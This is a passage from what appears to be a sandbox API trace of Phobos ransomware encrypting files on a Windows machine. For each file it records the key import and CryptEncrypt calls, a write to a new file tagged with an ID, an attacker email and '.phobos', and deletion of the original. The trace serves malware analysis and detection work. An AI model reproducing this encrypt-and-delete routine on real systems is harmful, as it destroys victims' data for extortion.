dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0044.811] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc450) returned 1 [0044.811] CryptSetKeyParam (hKey=0x10dc450, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.811] ReadFile (in: hFile=0x308, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x3b58, lpOverlapped=0x0) returned 1 [0044.823] CryptEncrypt (in: hKey=0x10dc450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x3b60, dwBufLen=0x3b60 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x3b60) returned 1 [0044.824] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x3b60, lpOverlapped=0x0) returned 1 [0044.824] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc350) returned 1 [0044.824] CryptSetKeyParam (hKey=0x10dc350, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.824] CryptEncrypt (in: hKey=0x10dc350, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0044.825] CryptDestroyKey (hKey=0x10dc350) returned 1 [0044.825] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0044.825] CryptDestroyKey (hKey=0x10dc450) returned 1 [0044.825] CloseHandle (hObject=0x308) returned 1 [0044.825] CloseHandle (hObject=0x31c) returned 1 [0044.826] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0044.827] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0044.827] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0045.337] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=17752) returned 1 [0045.337] CloseHandle (hObject=0x2fc) returned 1 [0045.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0045.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.337] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0045.338] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.338] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.345] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.347] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10c8e50) returned 1 [0045.347] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.347] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4558, lpOverlapped=0x0) returned 1 [0045.357] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4560, dwBufLen=0x4560 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4560) returned 1 [0045.357] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4560, lpOverlapped=0x0) returned 1 [0045.358] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc210) returned 1 [0045.358] CryptSetKeyParam (hKey=0x10dc210, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.358] CryptEncrypt (in: hKey=0x10dc210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0045.358] CryptDestroyKey (hKey=0x10dc210) returned 1 [0045.358] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0045.358] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0045.358] CloseHandle (hObject=0x2fc) returned 1 [0045.358] CloseHandle (hObject=0x31c) returned 1 [0045.359] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0045.360] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.360] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.360] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=14168) returned 1 [0045.360] CloseHandle (hObject=0x31c) returned 1 [0045.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0045.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.360] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.360] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.360] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.360] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.365] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10c8d90) returned 1 [0045.365] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.365] ReadFile (in: hFile=0x31c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x3758, lpOverlapped=0x0) returned 1 [0045.388] CryptEncrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x3760, dwBufLen=0x3760 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x3760) returned 1 [0045.388] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x3760, lpOverlapped=0x0) returned 1 [0045.389] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dca10) returned 1 [0045.389] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.389] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0045.389] CryptDestroyKey (hKey=0x10dca10) returned 1 [0045.389] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0045.389] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0045.389] CloseHandle (hObject=0x31c) returned 1 [0045.389] CloseHandle (hObject=0x310) returned 1 [0045.390] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0045.391] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.391] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.391] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=88533) returned 1 [0045.391] CloseHandle (hObject=0x310) returned 1 [0045.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0045.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.391] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.391] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.391] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.391] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.392] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcb90) returned 1 [0045.392] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.392] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x159d5, lpOverlapped=0x0) returned 1 [0045.418] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x159e0, dwBufLen=0x159e0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x159e0) returned 1 [0045.418] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x159e0, lpOverlapped=0x0) returned 1 [0045.420] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc890) returned 1 [0045.420] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.420] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0045.420] CryptDestroyKey (hKey=0x10dc890) returned 1 [0045.420] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0045.420] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0045.420] CloseHandle (hObject=0x310) returned 1 [0045.420] CloseHandle (hObject=0x31c) returned 1 [0045.422] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0045.423] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.424] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.424] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=894) returned 1 [0045.424] CloseHandle (hObject=0x31c) returned 1 [0045.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0045.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.424] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.424] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.424] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.424] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.425] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dca90) returned 1 [0045.425] CryptSetKeyParam (hKey=0x10dca90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.425] ReadFile (in: hFile=0x31c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x37e, lpOverlapped=0x0) returned 1 [0045.453] CryptEncrypt (in: hKey=0x10dca90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380, dwBufLen=0x380 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380) returned 1 [0045.453] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x380, lpOverlapped=0x0) returned 1 [0045.454] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc790) returned 1 [0045.454] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.454] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0045.454] CryptDestroyKey (hKey=0x10dc790) returned 1 [0045.454] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0045.454] CryptDestroyKey (hKey=0x10dca90) returned 1 [0045.454] CloseHandle (hObject=0x31c) returned 1 [0045.454] CloseHandle (hObject=0x310) returned 1 [0045.455] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0045.456] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.456] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.456] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=894) returned 1 [0045.456] CloseHandle (hObject=0x310) returned 1 [0045.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0045.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.456] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0045.456] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.456] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.456] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.457] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc790) returned 1 [0045.457] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.457] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x37e, lpOverlapped=0x0) returned 1 [0045.500] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380, dwBufLen=0x380 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x380) returned 1 [0045.500] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x380, lpOverlapped=0x0) returned 1 [0045.693] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcbd0) returned 1 [0045.693] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0045.693] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0045.693] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0045.693] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0045.693] CryptDestroyKey (hKey=0x10dc790) returned 1 [0045.693] CloseHandle (hObject=0x310) returned 1 [0045.693] CloseHandle (hObject=0x31c) returned 1 [0045.694] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0045.697] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0045.697] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.698] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=894) returned 1 [0045.698] CloseHandle (hObject=0x31c) returned 1 [0045.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0045.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0045.698] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.698] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.698] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0045.698] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: 